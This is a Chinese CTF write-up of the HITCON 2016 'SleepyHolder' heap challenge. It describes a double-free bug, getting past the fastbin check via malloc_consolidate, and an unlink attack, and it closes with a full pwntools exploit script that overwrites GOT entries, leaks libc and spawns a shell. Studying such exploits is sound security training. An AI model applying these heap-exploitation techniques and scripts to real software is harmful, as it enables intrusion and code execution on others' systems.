参考/题目下载:
https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder
https://blog.csdn.net/seaaseesa/article/details/105856878
1,三联
保护:基本都开了
功能:
0、唤醒功能;
1、创建-secret:
Small secret;
Big secret;
2、清除-secret;
3、修改-secret;
2,IDA分析功能
主函数:
清除功能-free:
这四个指针都是BSS段的地址。
问题点:
未检查free的指针是否为空;
free后指针未至置为0;
导致:可以double free
而要想成功double free,仅一个fastbin的chunk不行。Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。
修改功能:
if检查了指针;
导致:无法UAF
创建功能:
可以创建3种规格,使用1和3规格,分别是创建fastchunk和largechunk(为了使fastchunk_bin到unsortbin中)。
扩展:创建2规格也行,就不用创建2个1规格的,因为astbin不能与top chunk相邻,否则直接它们合并。
思路
目前根据IDA分析出的条件:
double free;
bss段全局指针;
由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。unlink利用需要如下条件:
全局指针;
溢出-伪造chunk(目前分析出的条件无此项);
解决伪造chunk问题:
利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。
Unlink以后,实现了任意地址读写,改写got表。
payload
bss段指针:
buf = 0x6020D0
#!/usr/bin/env python
from pwn import *
context.log_level="debug"
r = process("./SleepyHolder")
elf = ELF('./SleepyHolder')
def add(t, s):
r.recvuntil('3. Renew secret\n')
r.sendline('1')
r.recvuntil('Big secret\n')
r.sendline(str(t))
r.recvuntil(': \n')
r.send(s)
def de(t):
r.recvuntil('3. Renew secret\n')
r.sendline('2')
r.recvuntil('Big secret\n')
r.sendline(str(t))
def update(t, s):
r.recvuntil('3. Renew secret\n')
r.sendline('3')
r.recvuntil('Big secret\n')
r.sendline(str(t))
r.recvuntil(': \n')
r.send(s)
def debug():
gdb.attach(r)
pause()
add(1, 'a') #chunk1_fastbin_chunk
add(2, 'a') #chunk2_largin_chunk-avoid (fastbin_chunk + top_chunk) conlidate
#debug() #break1
de(1)
add(3, 'a') #chunk3_larbin_chunk-bypass double free check
#debug() #break3
de(1) # double free
#debug() #break2
f_ptr = 0x6020d0 # global buf_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk) #chunk1
#debug() #break4
de(2) #unlink
#debug() #break5
atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760
atoi_offset = 0x36e70
system_offset = 0x45380
f = p64(0) #again global buf_ptr
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)
f += p32(1)*3
update(1, f)
#debug() #break6
update(1, p64(puts_plt)) #change puts_got - > puts_plt
debug() #break7
de(2)
s = r.recv(6)
libc_base = u64(s.ljust(8, '\x00')) - atoi_offset #leak libc_base
system = libc_base + system_offset
update(1, p64(system))
#debug()
add(2, 'sh\0')
de(2) #get_shell
r.interactive()
调试
- break2
绕过利用consolidation形成double free
对比验证:
fastbin与top_chunk合并了
-break4
注意:consolidation形成的double free,malloc一次就free bin中的都取出来了。
- break5
- break6
-break7
利用已修改的put_plt泄露libc_base,然后getshell。